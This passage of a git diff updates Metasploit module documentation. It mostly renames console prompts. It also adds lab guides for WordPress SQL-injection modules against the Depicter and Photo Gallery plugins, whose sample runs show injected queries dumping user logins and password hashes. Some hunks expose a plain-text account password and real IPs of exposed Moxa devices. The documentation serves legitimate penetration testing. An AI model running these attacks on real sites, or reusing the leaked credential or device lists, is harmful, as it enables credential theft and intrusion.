@@ Wordpress User Credentials todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0 [*] Auxiliary module execution completed -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set AutoCheck false +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > set AutoCheck false AutoCheck => false -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > run [!] AutoCheck is disabled, proceeding with exploitation [*] Extracting credential information @@ -171,19 +171,19 @@ Wordpress User Credentials todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0 [*] Auxiliary module execution completed -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > ``` ### Booking Press 1.0.10, WordPress Latest Docker Image on Debian 11 (bullseye) ``` -msf6 > use auxiliary/gather/wp_bookingpress_category_services_sqli -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOSTS 127.0.0.1 +msf > use auxiliary/gather/wp_bookingpress_category_services_sqli +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RPORT 8000 +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > set RPORT 8000 RPORT => 8000 -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI "/?page_id=10" +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI "/?page_id=10" TARGETURI => /?page_id=10 -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > show options +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > show options Module options (auxiliary/gather/wp_bookingpress_category_services_sqli): @@ -199,9 +199,9 @@ Module options (auxiliary/gather/wp_bookingpress_category_services_sqli): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > check +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > check [+] 127.0.0.1:8000 - The target is vulnerable. -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > exploit +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > exploit [*] Running module against 127.0.0.1 [*] Running automatic check ("set AutoCheck false" to disable) @@ -216,5 +216,5 @@ Wordpress User Credentials testAdmin test@testfakeness.com $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/. [*] Auxiliary module execution completed -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > -``` \ No newline at end of file +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > +``` diff --git a/documentation/modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.md b/documentation/modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.md new file mode 100644 index 0000000000000..937787ccaa6ea --- /dev/null +++ b/documentation/modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.md @@ -0,0 +1,136 @@ +## Vulnerable Application + +The vulnerability affects the **Slider & Popup Builder by Depicter** plugin for WordPress, +versions **up to 3.6.1**, allowing **unauthenticated SQL injection** via the `s` parameter on `admin-ajax.php`. +WordPress itself must be installed. + +### Pre-requisites + +* **Docker** and **Docker Compose** installed. + + +## Setup Instructions + +1. **Create a `docker-compose.yml`** with: + +```yaml +version: '3.1' + + services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + + volumes: + wordpress: + db: +``` + +2. **Start the environment** + +```bash +docker-compose up -d +``` + +3. **Install Depicter plugin** + +```bash +wget https://downloads.wordpress.org/plugin/depicter.3.6.1.zip +unzip depicter.3.6.1.zip +docker cp depicter wordpress:/var/www/html/wp-content/plugins/ +``` + +4. **Activate Depicter** + +* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Slider & Popup Builder by Depicter**. +* No additional setup is required. + + +## Verification Steps + +1. **Launch Metasploit** + +```bash +msfconsole +``` + +2. **Load the Depicter SQLi scanner** + +```bash +use auxiliary/gather/wp_depicter_sqli_cve_2025_2011 +set RHOSTS 127.0.0.1 +set RPORT 5555 +set TARGETURI / +``` + +3. **Run the module** + +```bash +run +``` + +4. **Observe output** + +The module should: + +* Retrieve the database name +* Enumerate tables and infer the `wp_users` table +* Extract `user_login:user_pass` for the number of rows set by `COUNT` + +## Options + +* **TARGETURI** (`/`): base path to WordPress +* **COUNT** (`1`): number of user rows to retrieve + +## Scenarios + +```bash +msf auxiliary(gather/wp_depicter_sqli_cve_2025_2011) > exploit +[*] Running automatic check ("set AutoCheck false" to disable) +[*] {SQLi} Executing (select 'bEJ') +[*] {SQLi} Encoded to (select 0x62454a) +[+] The target is vulnerable. +[*] {SQLi} Executing (SELECT 15 FROM information_schema.tables WHERE table_name = 'wp_users') +[*] {SQLi} Encoded to (SELECT 15 FROM information_schema.tables WHERE table_name = 0x77705f7573657273) +[*] {WPSQLi} Retrieved default table prefix: 'wp_' +[*] {SQLi} Executing (select group_concat(DCdo) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) DCdo from wp_users limit 1) ofAGxxQl) +[*] {SQLi} Encoded to (select group_concat(DCdo) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xa,0)),ifnull(user_pass,repeat(0x2,0))) as binary) DCdo from wp_users limit 1) ofAGxxQl) +[!] No active DB -- Credential data will not be saved! +[+] {WPSQLi} Credential for user 'chocapikk' created successfully. +[*] {WPSQLi} Dumped user data: +wp_users +======== + + user_login user_pass + ---------- --------- + chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga + +[+] Loot saved to: /home/chocapikk/.msf4/loot/20250521182202_default_127.0.0.1_wordpress.users_171366.txt +[*] {WPSQLi} Reporting host... +[*] {WPSQLi} Reporting service... +[*] {WPSQLi} Reporting vulnerability... +[+] {WPSQLi} Reporting completed successfully. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/wp_photo_gallery_sqli.md b/documentation/modules/auxiliary/gather/wp_photo_gallery_sqli.md new file mode 100644 index 0000000000000..3a0afad9973b6 --- /dev/null +++ b/documentation/modules/auxiliary/gather/wp_photo_gallery_sqli.md @@ -0,0 +1,137 @@ +## Vulnerable Application + +The vulnerability affects the **Photo Gallery by 10Web** plugin for WordPress, versions **up to 1.6.0**, +allowing **unauthenticated SQL injection** via the `bwg_tag_id_bwg_thumbnails_0[]` parameter +on `admin-ajax.php` (action=`bwg_frontend_data`). WordPress itself must be installed. + +### Pre-requisites + +* **Docker** and **Docker Compose** installed. + + +## Setup Instructions + +1. **Create a `docker-compose.yml`** with: + +```yaml +version: '3.1' + + services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + + volumes: + wordpress: + db: +``` + +2. **Start the environment** + +```bash +docker-compose up -d +``` + +3. **Install Photo Gallery plugin** + +```bash +wget https://downloads.wordpress.org/plugin/photo-gallery.1.5.82.zip +unzip photo-gallery.1.5.82.zip +docker cp photo-gallery wordpress:/var/www/html/wp-content/plugins/ +``` + +4. **Activate Photo Gallery** + +* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Photo Gallery by 10Web**. +* Create a gallery. + + +## Verification Steps + +1. **Launch Metasploit** + +```bash +msfconsole +``` + +2. **Load the Photo Gallery SQLi scanner** + +```bash +use auxiliary/gather/wp_photo_gallery_sqli +set RHOSTS 127.0.0.1 +set RPORT 5555 +set TARGETURI / +``` + +3. **Run the module** + +```bash +run +``` + +4. **Observe output** + +The module should: + +* Retrieve the database name +* Enumerate tables and infer the `wp_users` table +* Extract `user_login:user_pass` for the number of rows set by `COUNT` + +## Options + +### COUNT + +Number of user rows to retrieve (default: 5) + +## Scenarios + +```bash +msf6 auxiliary(gather/wp_photo_gallery_sqli) > run http://lab:5555 +[*] Running module against 127.0.0.1 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] {SQLi} Executing (select 'nI5hKye') +[*] {SQLi} Encoded to (select 0x6e4935684b7965) +[+] The target is vulnerable. +[*] {SQLi} Executing (SELECT 16 FROM information_schema.tables WHERE table_name = 'wp_users') +[*] {SQLi} Encoded to (SELECT 16 FROM information_schema.tables WHERE table_name = 0x77705f7573657273) +[*] {WPSQLi} Retrieved default table prefix: 'wp_' +[*] {SQLi} Executing (select group_concat(sLt) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) sLt from wp_users limit 1) KVgXfyYs) +[*] {SQLi} Encoded to (select group_concat(sLt) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x7b,0)),ifnull(user_pass,repeat(0x14,0))) as binary) sLt from wp_users limit 1) KVgXfyYs) +[!] No active DB -- Credential data will not be saved! +[+] {WPSQLi} Credential for user 'chocapikk' created successfully. +[*] {WPSQLi} Dumped user data: +wp_users +======== + + user_login user_pass + ---------- --------- + chocapikk $wp$2y$10$Lw9VAfqDMbi9md2Y0945TO4l0NTKJxxXTd3CDTr8gIkgDbBQ2mUgS + +[+] Loot saved to: /home/chocapikk/.msf4/loot/20250710131832_default_127.0.0.1_wordpress.users_427582.txt +[*] {WPSQLi} Reporting host... +[*] {WPSQLi} Reporting service... +[*] {WPSQLi} Reporting vulnerability... +[+] {WPSQLi} Reporting completed successfully. +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md index c6a52cf9e5ec5..134fecd60c80c 100644 --- a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md +++ b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md @@ -121,7 +121,7 @@ resource (xspy.rb)> set verbose true verbose => true resource (xspy.rb)> set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/x11_keyboard_spy) > run +msf auxiliary(gather/x11_keyboard_spy) > run [*] Running module against 127.0.0.1 [*] 127.0.0.1:6000 - Establishing TCP Connection diff --git a/documentation/modules/auxiliary/gather/xymon_info.md b/documentation/modules/auxiliary/gather/xymon_info.md index 75f7c870ff06e..e595c28f2284d 100644 --- a/documentation/modules/auxiliary/gather/xymon_info.md +++ b/documentation/modules/auxiliary/gather/xymon_info.md @@ -48,10 +48,10 @@ ## Scenarios ``` - msf5 > use auxiliary/gather/xymon_info - msf5 auxiliary(gather/xymon_info) > set rhosts 172.16.191.250 + msf > use auxiliary/gather/xymon_info + msf auxiliary(gather/xymon_info) > set rhosts 172.16.191.250 rhosts => 172.16.191.250 - msf5 auxiliary(gather/xymon_info) > run + msf auxiliary(gather/xymon_info) > run [*] Running module against 172.16.191.250 [*] 172.16.191.250:1984 - Xymon daemon version 4.3.28 @@ -68,7 +68,7 @@ [*] 172.16.191.250:1984 - test-host client log is empty [*] 172.16.191.250:1984 - another-test-host client log is empty [*] Auxiliary module execution completed - msf5 auxiliary(gather/xymon_info) > creds + msf auxiliary(gather/xymon_info) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/gather/zookeeper_info_disclosure.md b/documentation/modules/auxiliary/gather/zookeeper_info_disclosure.md index 8680d11233faa..b787bdbde8bed 100644 --- a/documentation/modules/auxiliary/gather/zookeeper_info_disclosure.md +++ b/documentation/modules/auxiliary/gather/zookeeper_info_disclosure.md @@ -5,9 +5,9 @@ This module targets Apache ZooKeeper service instances to extract information ab ### Verification Steps ``` -msf5 > use auxiliary/gather/zookeeper_info_disclosure -msf5 auxiliary(gather/zookeeper_info_disclosure) > set rhosts 1.3.3.7 -msf5 auxiliary(gather/zookeeper_info_disclosure) > show options +msf > use auxiliary/gather/zookeeper_info_disclosure +msf auxiliary(gather/zookeeper_info_disclosure) > set rhosts 1.3.3.7 +msf auxiliary(gather/zookeeper_info_disclosure) > show options Name: Apache ZooKeeper Information Disclosure Module: auxiliary/gather/zookeeper_info_disclosure @@ -39,7 +39,7 @@ References: https://zookeeper.apache.org/doc/current/zookeeperAdmin.html -msf5 auxiliary(gather/zookeeper_info_disclosure) > run +msf auxiliary(gather/zookeeper_info_disclosure) > run [*] 1.3.3.7:2181 - Using a timeout of 30... [*] 1.3.3.7:2181 - Verifying if service is responsive... @@ -90,8 +90,8 @@ Node count: 1041 [*] Auxiliary module execution completed -msf5 auxiliary(gather/zookeeper_info_disclosure) > -msf5 auxiliary(gather/zookeeper_info_disclosure) > loot +msf auxiliary(gather/zookeeper_info_disclosure) > +msf auxiliary(gather/zookeeper_info_disclosure) > loot Loot ==== @@ -102,7 +102,7 @@ host service type name content info 1.3.3.7 stat-log ZooKeeper Stat Log text/plain ZooKeeper /root/.msf4/loot/20201013203537_default_1.3.3.7_statlog_417795.txt -msf5 auxiliary(gather/zookeeper_info_disclosure) > services +msf auxiliary(gather/zookeeper_info_disclosure) > services Services ======== @@ -110,7 +110,7 @@ host port proto name state info ---- ---- ----- ---- ----- ---- 1.3.3.7 2181 tcp zookeeper open Apache Zookeeper: 3.4.13-2--1 -msf5 auxiliary(gather/zookeeper_info_disclosure) > hosts +msf auxiliary(gather/zookeeper_info_disclosure) > hosts Hosts ===== diff --git a/documentation/modules/auxiliary/gather/zoomeye_search.md b/documentation/modules/auxiliary/gather/zoomeye_search.md index 5c4eb8881f44e..0446db8ff89fd 100644 --- a/documentation/modules/auxiliary/gather/zoomeye_search.md +++ b/documentation/modules/auxiliary/gather/zoomeye_search.md @@ -81,7 +81,7 @@ first, as mentioned previously, will not return any results, so be wary of this. ### Host Search With No Database ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use zoomeye_search +msf payload(windows/x64/meterpreter/reverse_tcp) > use zoomeye_search Matching Modules ================ @@ -94,7 +94,7 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/zoomeye_search [*] Using auxiliary/gather/zoomeye_search -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -109,11 +109,11 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME yes The ZoomEye username ZOOMEYE_DORK yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com +msf auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com USERNAME => mexig33784@mtlcz.com -msf6 auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* +msf auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* PASSWORD => *redacted* -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -128,13 +128,13 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME mexig33784@mtlcz.com yes The ZoomEye username ZOOMEYE_DORK yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' +msf auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' ZOOMEYE_DORK => app:"moxa OnCell G3470A-LTE-EU" -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [-] Unable to resolve api.zoomeye.org [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [*] Logged in to zoomeye [*] Total: 189 on 10 pages. Showing: 1 page(s) @@ -178,12 +178,12 @@ Host search 43 [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > +msf auxiliary(gather/zoomeye_search) > ``` ### Host Search With No Database and Multiple Pages And Saving To Disk ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use zoomeye_search +msf payload(windows/x64/meterpreter/reverse_tcp) > use zoomeye_search Matching Modules ================ @@ -196,7 +196,7 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/zoomeye_search [*] Using auxiliary/gather/zoomeye_search -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -211,18 +211,18 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME yes The ZoomEye username ZOOMEYE_DORK yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com +msf auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com USERNAME => mexig33784@mtlcz.com -msf6 auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* +msf auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* PASSWORD => *redacted* -msf6 auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' +msf auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' ZOOMEYE_DORK => app:"moxa OnCell G3470A-LTE-EU" -msf6 auxiliary(gather/zoomeye_search) > -msf6 auxiliary(gather/zoomeye_search) > set MAXPAGE 5 +msf auxiliary(gather/zoomeye_search) > +msf auxiliary(gather/zoomeye_search) > set MAXPAGE 5 MAXPAGE => 5 -msf6 auxiliary(gather/zoomeye_search) > set OUTFILE /tmp/results.txt +msf auxiliary(gather/zoomeye_search) > set OUTFILE /tmp/results.txt OUTFILE => /tmp/results.txt -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -238,7 +238,7 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME mexig33784@mtlcz.com yes The ZoomEye username ZOOMEYE_DORK app:"moxa OnCell G3470A-LTE-EU" yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [*] Logged in to zoomeye [*] Total: 189 on 10 pages. Showing: 5 page(s) @@ -427,7 +427,7 @@ Host search [*] Saved results in /tmp/results.txt [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > cat /tmp/results.txt +msf auxiliary(gather/zoomeye_search) > cat /tmp/results.txt [*] exec: cat /tmp/results.txt Host search @@ -611,12 +611,12 @@ Host search 43 90.117.120.142:8 tcp France http GoAhead WebServer 0 -msf6 auxiliary(gather/zoomeye_search) > +msf auxiliary(gather/zoomeye_search) > ``` ### Hosts Search With Facets ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use zoomeye_search +msf payload(windows/x64/meterpreter/reverse_tcp) > use zoomeye_search Matching Modules ================ @@ -629,7 +629,7 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/zoomeye_search [*] Using auxiliary/gather/zoomeye_search -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -644,15 +644,15 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME yes The ZoomEye username ZOOMEYE_DORK yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' +msf auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' ZOOMEYE_DORK => app:"moxa OnCell G3470A-LTE-EU" -msf6 auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com +msf auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com USERNAME => mexig33784@mtlcz.com -msf6 auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* +msf auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* PASSWORD => *redacted* -msf6 auxiliary(gather/zoomeye_search) > set FACETS os,port,country +msf auxiliary(gather/zoomeye_search) > set FACETS os,port,country FACETS => os,port,country -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -668,7 +668,7 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME mexig33784@mtlcz.com yes The ZoomEye username ZOOMEYE_DORK app:"moxa OnCell G3470A-LTE-EU" yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [*] Logged in to zoomeye [*] Total: 189 on 10 pages. Showing facets @@ -694,22 +694,22 @@ Facets port 8081 1 [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > +msf auxiliary(gather/zoomeye_search) > ``` ### Web Search With Facets And OutFile ``` -msf6 > use auxiliary/gather/zoomeye_search -msf6 auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' +msf > use auxiliary/gather/zoomeye_search +msf auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' ZOOMEYE_DORK => app:"moxa OnCell G3470A-LTE-EU" -msf6 auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com +msf auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com USERNAME => mexig33784@mtlcz.com -msf6 auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* +msf auxiliary(gather/zoomeye_search) > set PASSWORD *redacted* PASSWORD => *redacted* -msf6 auxiliary(gather/zoomeye_search) > set FACETS os,port,country +msf auxiliary(gather/zoomeye_search) > set FACETS os,port,country FACETS => os,port,country -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -725,11 +725,11 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME mexig33784@mtlcz.com yes The ZoomEye username ZOOMEYE_DORK app:"moxa OnCell G3470A-LTE-EU" yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set RESOURCE web +msf auxiliary(gather/zoomeye_search) > set RESOURCE web RESOURCE => web -msf6 auxiliary(gather/zoomeye_search) > set OUTFILE /tmp/web.txt +msf auxiliary(gather/zoomeye_search) > set OUTFILE /tmp/web.txt OUTFILE => /tmp/web.txt -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [*] Logged in to zoomeye [*] Total: 9 on 1 pages. Showing facets @@ -747,7 +747,7 @@ Facets [*] Saved results in /tmp/web.txt [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > cat /tmp/web.txt +msf auxiliary(gather/zoomeye_search) > cat /tmp/web.txt [*] exec: cat /tmp/web.txt Facets @@ -761,12 +761,12 @@ Facets country Australia 1 country Austria 1 os Windows 9 -msf6 auxiliary(gather/zoomeye_search) > +msf auxiliary(gather/zoomeye_search) > ``` ### Hosts Search with Database And Outfile Options Set ``` -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -782,7 +782,7 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME mexig33784@mtlcz.com yes The ZoomEye username ZOOMEYE_DORK app:"moxa OnCell G3470A-LTE-EU" yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [*] Logged in to zoomeye [*] Total: 189 on 10 pages. Showing: 1 page(s) @@ -827,7 +827,7 @@ Host search [*] Saved results in /tmp/web.txt [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > cat /tmp/web.txt +msf auxiliary(gather/zoomeye_search) > cat /tmp/web.txt [*] exec: cat /tmp/web.txt Host search @@ -867,7 +867,7 @@ Host search 62.79.16.38:80 tcp Aalborg Municipality Denmark https GoAhead WebServer 90.117.110.158:4 tcp France https GoAhead WebServer 43 -msf6 auxiliary(gather/zoomeye_search) > hosts +msf auxiliary(gather/zoomeye_search) > hosts Hosts ===== @@ -895,7 +895,7 @@ address mac name os_name os_flavor os_sp purpose info comments 183.171.15.197 device Added from Zoomeye 183.171.15.221 device Added from Zoomeye -msf6 auxiliary(gather/zoomeye_search) > services +msf auxiliary(gather/zoomeye_search) > services Services ======== @@ -922,13 +922,13 @@ host port proto name state info 183.171.15.197 443 tcp https open GoAhead WebServer running version: 183.171.15.221 443 tcp https open GoAhead WebServer running version: -msf6 auxiliary(gather/zoomeye_search) > +msf auxiliary(gather/zoomeye_search) > ``` ### Web Search With Database ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/zoomeye_search -msf6 auxiliary(gather/zoomeye_search) > show options +msf payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/zoomeye_search +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -943,17 +943,17 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME yes The ZoomEye username ZOOMEYE_DORK yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set RESOURCE web +msf auxiliary(gather/zoomeye_search) > set RESOURCE web RESOURCE => web -msf6 auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' +msf auxiliary(gather/zoomeye_search) > set ZOOMEYE_DORK 'app:"moxa OnCell G3470A-LTE-EU"' ZOOMEYE_DORK => app:"moxa OnCell G3470A-LTE-EU" -msf6 auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com +msf auxiliary(gather/zoomeye_search) > set USERNAME mexig33784@mtlcz.com USERNAME => mexig33784@mtlcz.com -msf6 auxiliary(gather/zoomeye_search) > set PASSWORD aNN9tMSs3e2fJ5U +msf auxiliary(gather/zoomeye_search) > set PASSWORD aNN9tMSs3e2fJ5U PASSWORD => aNN9tMSs3e2fJ5U -msf6 auxiliary(gather/zoomeye_search) > set OUTFILE /tmp/web-test.txt +msf auxiliary(gather/zoomeye_search) > set OUTFILE /tmp/web-test.txt OUTFILE => /tmp/web-test.txt -msf6 auxiliary(gather/zoomeye_search) > show options +msf auxiliary(gather/zoomeye_search) > show options Module options (auxiliary/gather/zoomeye_search): @@ -969,9 +969,9 @@ Module options (auxiliary/gather/zoomeye_search): USERNAME mexig33784@mtlcz.com yes The ZoomEye username ZOOMEYE_DORK app:"moxa OnCell G3470A-LTE-EU" yes The ZoomEye dork -msf6 auxiliary(gather/zoomeye_search) > set DATABASE true +msf auxiliary(gather/zoomeye_search) > set DATABASE true DATABASE => true -msf6 auxiliary(gather/zoomeye_search) > hosts -d +msf auxiliary(gather/zoomeye_search) > hosts -d Hosts ===== @@ -988,14 +988,14 @@ address mac name os_name os_fl 178.182.244.68 178.182.244.68.nat.umts.dynamic.t-mobile.pl Added from Zoomeye [*] Deleted 8 hosts -msf6 auxiliary(gather/zoomeye_search) > services -d +msf auxiliary(gather/zoomeye_search) > services -d Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- -msf6 auxiliary(gather/zoomeye_search) > run +msf auxiliary(gather/zoomeye_search) > run [*] Logged in to zoomeye [*] Total: 9 on 1 pages. Showing: 1 page(s) @@ -1016,7 +1016,7 @@ Web search [*] Saved results in /tmp/web-test.txt [*] Auxiliary module execution completed -msf6 auxiliary(gather/zoomeye_search) > hosts +msf auxiliary(gather/zoomeye_search) > hosts Hosts ===== @@ -1032,14 +1032,14 @@ address mac name os_name os_fl 178.182.239.27 178.182.239.27.nat.umts.dynamic.t-mobile.pl Added from Zoomeye 178.182.244.68 178.182.244.68.nat.umts.dynamic.t-mobile.pl Added from Zoomeye -msf6 auxiliary(gather/zoomeye_search) > services +msf auxiliary(gather/zoomeye_search) > services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- -msf6 auxiliary(gather/zoomeye_search) > cat /tmp/web-test.txt +msf auxiliary(gather/zoomeye_search) > cat /tmp/web-test.txt [*] exec: cat /tmp/web-test.txt Web search @@ -1056,5 +1056,5 @@ Web search 123.209.125.20 61438337164.mobile.telstra.com Sydney Australia 178.182.239.27 178.182.239.27.nat.umts.dynamic.t-mobile.pl Poland 178.182.244.68 178.182.244.68.nat.umts.dynamic.t-mobile.pl Poland -msf6 auxiliary(gather/zoomeye_search) > -``` \ No newline at end of file +msf auxiliary(gather/zoomeye_search) > +``` diff --git a/documentation/modules/auxiliary/scanner/afp/afp_server_info.md b/documentation/modules/auxiliary/scanner/afp/afp_server_info.md index bdc2b74f9d9a9..bab00d03aa48d 100644 --- a/documentation/modules/auxiliary/scanner/afp/afp_server_info.md +++ b/documentation/modules/auxiliary/scanner/afp/afp_server_info.md @@ -32,10 +32,10 @@ The following was done on Ubuntu 16.04, and is largely based on [missingreadme.w ### Ubuntu 16.04 with Netatalk 2.2.5 ``` - msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info - msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1 + msf auxiliary(scanner/acpp/login) > use 